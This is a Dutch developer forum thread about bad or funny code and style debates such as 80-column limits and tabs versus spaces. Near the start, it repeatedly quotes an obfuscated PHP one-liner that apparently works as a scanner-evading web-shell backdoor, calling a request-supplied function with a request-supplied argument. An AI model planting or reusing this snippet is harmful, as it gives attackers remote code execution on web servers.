1 2 3 4 5 6 7 @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Verdere uitleg over wat het doet hier (maar je kan natuurlijk ook gewoon de code lezen). Code op zich vind ik er zelf goed uit zien, maar vind dat de variabele naam $__ wat beschrijvender gekozen had kunnen worden

2x Dell UP2716D | R9 7950X | 128GB RAM | 980 Pro 2TB x2 | RTX2070 Super
.oisyn: Windows is net zo slecht in commandline als Linux in GUI
Hmm, dit heet toch obfuscaten?Freeaqingme schreef op zaterdag 14 september 2013 @ 01:01:
Ik kwam daarstraks deze beauty tegen:
PHP:
1 2 3 4 5 6 7 @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Dat is eerder juist een goed programmeervoorbeeld, het doet namelijk precies wat het moet doen: voor leken niet te begrijpen en niet te detecteren door exploitscanners die zoeken naar termen als "system".Freeaqingme schreef op zaterdag 14 september 2013 @ 01:01:
[...]
"If you don't have time to do it right, when will you have time to do it over?’
Ik kwam daarstraks deze beauty tegen:
PHP:
1 2 3 4 5 6 7 @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
Verdere uitleg over wat het doet hier (maar je kan natuurlijk ook gewoon de code lezen). Code op zich vind ik er zelf goed uit zien, maar vind dat de variabele naam $__ wat beschrijvender gekozen had kunnen worden
Op TDWTF stond iets vergelijkbaars, waarbij ik moet zeggen dat die van jouw nog slechter is:F.West98 schreef op zaterdag 14 september 2013 @ 00:54:
Eentje van mezelf van laatst; te lui om beter te maken in eerste instantie, daarna een probleem
http://thedailywtf.com/Articles/Laborious-Transitions.aspx
1
| [][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[+!+[]]]+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]])() |
1
| const char literally[] = {96, 100, 200, ... } |
Heb een programma geschreven wat nu text naar dit formaat om zet maar het is best wel een redelijke WTF als je het header bestand opent waarin dit gedefinieerd staat. Zie je ineens een gigantische array waar je geen idee van hebt wat het is (natuurlijk staat het netjes gedocumenteerd, maar toch!)
disclaimer: eigen code! soms is het nodig!
[Voor 3% gewijzigd door roy-t op 14-09-2013 11:37]

Iets serieuzer: was het geen beter idee om 2 literals achter elkaar te zetten?
[Voor 24% gewijzigd door MBV op 14-09-2013 13:13]
http://harmattan-dev.noki...ary/html/qt4/rcc.html#rcc (misschien handig afhangend van wat je precies wilt doen)roy-t schreef op zaterdag 14 september 2013 @ 11:37:
disclaimer: eigen code! soms is het nodig!
[Voor 67% gewijzigd door Zoijar op 14-09-2013 13:29]
Ben ik het niet mee eens. Ik werk in VIM vaak met diverse panes naast elkaar en dan is het verrekte handig wanneer mensen hun regels niet langer maken dan 80 regels..oisyn schreef op donderdag 12 september 2013 @ 11:59:
80 col is zooo 1990.
Waar leg je dan de grens? Ik heb twee keer zo veel kolommen naast elkaar dus niemand mag boven de 40 tekens.OrangeTux schreef op zaterdag 14 september 2013 @ 18:55:
[...]
Ben ik het niet mee eens. Ik werk in VIM vaak met diverse panes naast elkaar en dan is het verrekte handig wanneer mensen hun regels niet langer maken dan 80 regels.
Ik ben voorstander van alles op een regel. Als je geen kiloliners maakt maar dingen duidelijk uitschrijft kom je zelden voorbij de 80.
Je kan trouwens ook een groter scherm kopen

- .oisyn
- Registratie: September 2000
- Nu online
Demotivational Speaker
:strip_exif()/u/12461/avatar.gif?f=community)
In C++ is NULL alleen maar verwarrend. Het lijkt iets anders, maar het is gewoon een int. Ook is het gebruikelijk om objecten te zero-initializen met 0, en veel user defined types ondersteunen dat ook. Maar het blijft natuurlijk ambigu, gelukkig heb je nu nullptrMatis schreef op vrijdag 13 september 2013 @ 22:52:
Vandaag weer door stukjes code heen geploegd waar literal 0 werd gebruikt in plaats van NULL. Ondanks dat het beide evalueert tot hetzelfde, vind ik het qua leesbaarheid een stuk minder.
Mag je in C tegenwoordig een pointer gewoon initializen met 0Edit; Ik heb het overigens over C onder Linux.

If I had a dollar for every time I didn't know what was going on, I'd be like: "Why am I always getting all this money?!"
Ik vind persoonlijk de 80 tekens regel een perfecte regel. Dit omdat sommige mensen op een klein scherm werken (f.e. 14 inch laptop) en jij misschien thuis op een 26 inch scherm aan het kijken bent.Durandal schreef op zaterdag 14 september 2013 @ 19:04:
[...]
Waar leg je dan de grens? Ik heb twee keer zo veel kolommen naast elkaar dus niemand mag boven de 40 tekens.
Ik ben voorstander van alles op een regel. Als je geen kiloliners maakt maar dingen duidelijk uitschrijft kom je zelden voorbij de 80.
Je kan trouwens ook een groter scherm kopen
In de meeste IDE's kan je een lijntje laten zetten op 80 tekens waardoor je visueel ziet als je regel te lang is.
Op mijn werk gebruik ik ook een laptop en VS met al die rommel die links en rechtstaat zorgt er ook voor dat ik maar een +- 80 tekens zie

Sommige mensen houden zich bij ons daar niet aan wat zorgt dat je niet alle informatie direct kan zijn.
Ik werk op en breedbeeld laptop scherm, en dan is het verrekte handig als niet al je verticale space verpest wordt door gesplitste regelsOrangeTux schreef op zaterdag 14 september 2013 @ 18:55:
Ben ik het niet mee eens. Ik werk in VIM vaak met diverse panes naast elkaar en dan is het verrekte handig wanneer mensen hun regels niet langer maken dan 80 regels.

Ik vind niet splitsen eigenlijk beter. Dan kan je je editor/ide zo instellen dat hij zelf regels langer dan 'n' wrapped bij het afbeelden. Zoals in notepad++ met autowrap, dat je ziet dat je regelnummer niet toeneemt, en het dus eigenlijk een regel is.
Hebben het hier wel eens over gehad, dat ik het raar vind dat opmaak nog steeds zo'n rol speelt, terwijl dat meta informatie zou moeten zijn. Display en edit het zoals jij dat lekker vindt werken, en sla het op in een universeel formaat zonder opmaak, zodat een ander kan lezen/editen op zijn manier. Tab sizes, space of tabs, line endings, niets van dat gezeur doet er dan meer toe.
[Voor 4% gewijzigd door Zoijar op 15-09-2013 17:35]

Op zoek naar een nieuwe collega, .NET webdev, voornamelijk productontwikkeling. DM voor meer info
Anoniem: 529096
This file says it all. http://svn.codehaus.org/g...vy/runtime/ArrayUtil.java
OMFGAnoniem: 529096 schreef op maandag 16 september 2013 @ 22:10:
Uit http://harmful.cat-v.org/software/java komt de fantastische opmerking:
This file says it all. http://svn.codehaus.org/g...vy/runtime/ArrayUtil.java


After all, we are nothing more or less than what we choose to reveal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| using (var conn = new OracleConnection(connectionstring)) { conn.Open(); using (var trans = conn.BeginTransaction()) { using (var command = new OracleCommand("INSERT INTO ...etc.", conn)) { command.ExecuteNonQuery(); } using (var command2 = new OracleCommand("INSERT INTO ...etc.", conn)) { command2.ExecuteNonQuery(); } trans.Commit(); } } |
hoe nuttig is dat...
This message was sent on 100% recyclable electrons.
niet helemaal mee eens.Grijze Vos schreef op maandag 16 september 2013 @ 08:39:
Zolang diff en cvs tools nog steeds de syntax van taal niet begrijpen gaat dat niet gebeuren. Daarnaast heb je natuurlijk nog van die talen met semantic whitespace zoals python. Niet dat je daarmee moet willen werken.
dus dan kan svn en diff tools gewoon hun difjes draaien. het blijft text, maar de IDE bepaald hoe deze opgemaakt wordt.Zoijar schreef op zondag 15 september 2013 @ 17:34:
Hebben het hier wel eens over gehad, dat ik het raar vind dat opmaak nog steeds zo'n rol speelt, terwijl dat meta informatie zou moeten zijn. Display en edit het zoals jij dat lekker vindt werken, en sla het op in een universeel formaat zonder opmaak, zodat een ander kan lezen/editen op zijn manier. Tab sizes, space of tabs, line endings, niets van dat gezeur doet er dan meer toe.
Eigenlijk doen alle IDE's dat al.
Een tab is 'inspringen' (gebruiker bepaald hoe diep)
Een nieuwline is een gedwongen regeleinde, en line wrap werkt tegenwordig zo goed dat hij de gewrapte line netjes net zoveel indent als de regel erboven.
Probleem is (nog steeds) dat mensen liever spaties gebruiken dan tabs... Ik begrijp niet dat zoveel IDE's dit ook als standaard setting hebben. Hiermee help je het hele systeem om zeep.
This message was sent on 100% recyclable electrons.
1
2
3
4
5
6
7
8
| int whatever = 0; int variables = 0; int are = 0; int needed = 0; MyOverlyLongClassName classInstance = new MyOverlyLongClassName(whatever, variables, are, needed); |
De indenting met tabs vaak helemaal nergens op slaat. Gebruiker X heeft tabstops op 4 karakters, gebruiker Y op 8, met als gevolg dat de laatste 3 regels rechts buiten beeld vallen bij gebruiker Y. En dat diff-tools vaak vervelend reageren als indentering verandert.
Val alsjeblieft niet over de code, ik bedoel het puur als voorbeeld. Er zijn genoeg valide scenario's waarin een constructor meer argumenten nodig heeft dan op 1 regel passen.
[Voor 12% gewijzigd door MBV op 17-09-2013 09:22]
Jammer alleen dat dat dan weer niet kan in talen als python.
[Voor 4% gewijzigd door bwerg op 17-09-2013 09:43]
Heeft geen speciale krachten en is daar erg boos over.
Python is daarentegen wel weer een van de weinig talen die vanuit de taal standaarden hanteerd voor het formatten van code:Jammer alleen dat dat dan weer niet kan in talen als python.
http://www.python.org/dev/peps/pep-0008/
Daar worden dingen vast gezet als 4 spaces als indentation, en lines niet langer dan 79 characters (80 als je de \n mee telt)
Dit maakt het werken met python programmeurs (mits ze enig kwaliteit hebben) een stuk makkelijker; je hoeft geen 30-pagina-groot document te maken over hoe alles geformat moet worden, je meld pep8 en het meerendeel weet dan hoe/wat/waar.
Daarnaast zijn er tools die pep8 compliance checken, en waarschuwen als dat niet zo is.
Dat er vervolgens python programmeurs zijn die code produceren die minder goed te lezen is dan brainfuck......
Anoniem: 516179
Ik ben eerder van mening dat je niet moet willen om een regel uit te lijnen t.o.v. een andere regel. Als je daar behoefte aan hebt is je code waarschijnlijk niet goed en is die behoefte alleen een expressie van de onderbewuste realisatie dat de code niet goed is.bwerg schreef op dinsdag 17 september 2013 @ 09:42:
De oplossing is om 'gewone' indenting (voor nesting) met tabs te doen, maar indenting die bedoeld is om een regel uit te lijnen op een precieze positie t.o.v. een andere regel (zoals in dat voorbeeld) met spaties. Wat veel te omslachtig is om jezelf aan te leren, maar het werkt.
Jammer alleen dat dat dan weer niet kan in talen als python.
Zelf vind ik het altijd gruwelijk irritant als men dat wil doen, met gewone indenting en een goede structuur is het prima mogelijk om de code goed leesbaar te maken.
Waar ik dan wel weer een fan van ben is lange namen voor classes, zo lang het maar niet onnodig lang is. Het moet precies lang genoeg zijn om duidelijk te maken wat de class doet, maar ga ajb geen zaken afkorten of weglaten alleen om de classname kort te houden.
Wat is dat nou weer voor een onzin argument?Anoniem: 516179 schreef op dinsdag 17 september 2013 @ 11:43:
[...]
Ik ben eerder van mening dat je niet moet willen om een regel uit te lijnen t.o.v. een andere regel. Als je daar behoefte aan hebt is je code waarschijnlijk niet goed en is die behoefte alleen een expressie van de onderbewuste realisatie dat de code niet goed is.
1
2
3
4
5
| int a = 0; float b = 3.14; int a = 0; float b = 3.14; |
De onderste code is "waarschijnlijk niet goed"? Ik noem het "leesbaarder".
Zelf vind ik het altijd gruwelijk irritant als men dat wil doen, met gewone indenting en een goede structuur is het prima mogelijk om de code goed leesbaar te maken.
Waar ik dan wel weer een fan van ben is lange namen voor classes, zo lang het maar niet onnodig lang is. Het moet precies lang genoeg zijn om duidelijk te maken wat de class doet, maar ga ajb geen zaken afkorten of weglaten alleen om de classname kort te houden.

Dan moeten die tools dus op zijn minst weten wat whitespace is en wat niet. Probleem blijft dat die krengen per line comparen, wat dus al meteen semantiek geeft aan een deel van je whitespace: de new lines.BasieP schreef op maandag 16 september 2013 @ 22:43:
[...]
niet helemaal mee eens.
[...]
dus dan kan svn en diff tools gewoon hun difjes draaien. het blijft text, maar de IDE bepaald hoe deze opgemaakt wordt.
Op zoek naar een nieuwe collega, .NET webdev, voornamelijk productontwikkeling. DM voor meer info
Klopt! want *waarschijnlijk* wilde je onderbewustzijn de M_PI constant uit math.h gebruiken!HuHu schreef op dinsdag 17 september 2013 @ 12:01:
[...]
Wat is dat nou weer voor een onzin argument?
code:
1 2 3 4 5 int a = 0; float b = 3.14; int a = 0; float b = 3.14;
De onderste code is "waarschijnlijk niet goed"? Ik noem het "leesbaarder".
Een array met 250 items nodig? Geen probleem, committen we snel even een fixThis file says it all. http://svn.codehaus.org/g...vy/runtime/ArrayUtil.java

[Voor 3% gewijzigd door boe2 op 17-09-2013 14:30]
'Multiple exclamation marks,' he went on, shaking his head, 'are a sure sign of a diseased mind.' - Pratchett.
Anoniem: 516179
Och och wat is het niveau weer hoog...HuHu schreef op dinsdag 17 september 2013 @ 12:01:
[...]
Wat is dat nou weer voor een onzin argument?
code:
1 2 3 4 5 int a = 0; float b = 3.14; int a = 0; float b = 3.14;
De onderste code is "waarschijnlijk niet goed"? Ik noem het "leesbaarder".
Ik zeg "IK BEN VAN MENING", dat is geen argument maar gewoon mijn mening. Heb jij een andere mening? Prima, het is een vrij land.
Zeg dan niets...[...]

Ik word zo moe van die meningenAnoniem: 516179 schreef op dinsdag 17 september 2013 @ 19:47:
Ik zeg "IK BEN VAN MENING", dat is geen argument maar gewoon mijn mening. Heb jij een andere mening? Prima, het is een vrij land.

Ik snap ook niet waarom er niet standaard met tabs gewerkt wordt. Ik kijk wel eens code voor studie-opdrachten na en ik kreeg één keer code waarin tabs en spaties gemixt waren, en de IDE waarin dat geschreven was stond kennelijk ingesteld op 8 spaties per tab weergeven. Die van mij op 4. Dan zijn dingen echt niet meer leesbaar, het springt alle kanten op. Overal tabs voor gebruiken (behalve dus het uitlijnen t.o.v. andere code) en iedereen kan zelf instellen hoeveel indenting hij/zij wil zien. Ik vind 8 spaties per indent namelijk veel te veel. Zeker als diegene dan ook nog schijt heeft aan de 'maximaal zoveel tekens per regel'-regel.

[Voor 10% gewijzigd door bwerg op 17-09-2013 20:49]
Heeft geen speciale krachten en is daar erg boos over.
Sommige IDE's (die van mij iig..) converten ook alle tabs naar spaties als je opslaat.
- .oisyn
- Registratie: September 2000
- Nu online
Demotivational Speaker
:strip_exif()/u/12461/avatar.gif?f=community)
Als je niet in staat bent je mening te verdedigen, doe dan ook gewoon niet mee aan de discussie want dan is die mening geen moer waard.Anoniem: 516179 schreef op dinsdag 17 september 2013 @ 19:47:
[...]
Och och wat is het niveau weer hoog...
Ik zeg "IK BEN VAN MENING", dat is geen argument maar gewoon mijn mening. Heb jij een andere mening? Prima, het is een vrij land.
If I had a dollar for every time I didn't know what was going on, I'd be like: "Why am I always getting all this money?!"
Als dat tegenwoordig nog 1 van je/de redenen is om Java te haten, kan ik je gerust stellen.Anoniem: 529096 schreef op maandag 16 september 2013 @ 22:10:
Uit http://harmful.cat-v.org/software/java komt de fantastische opmerking:
This file says it all. http://svn.codehaus.org/g...vy/runtime/ArrayUtil.java
1
2
3
| public static T[] createArray(T... arguments) { return arguments; } |
'Nae King! Nae quin! Nae Laird! Nae master! We willna' be fooled agin!'
Uiteraard is het in dit topic niet de bedoeling dat andere users en/of topics aangehaald worden om ze voor gek te zetten. Lachen om je eigen code, of over dingen die je "wel eens tegengekomen bent" is prima, maar hou het onderling netjes.
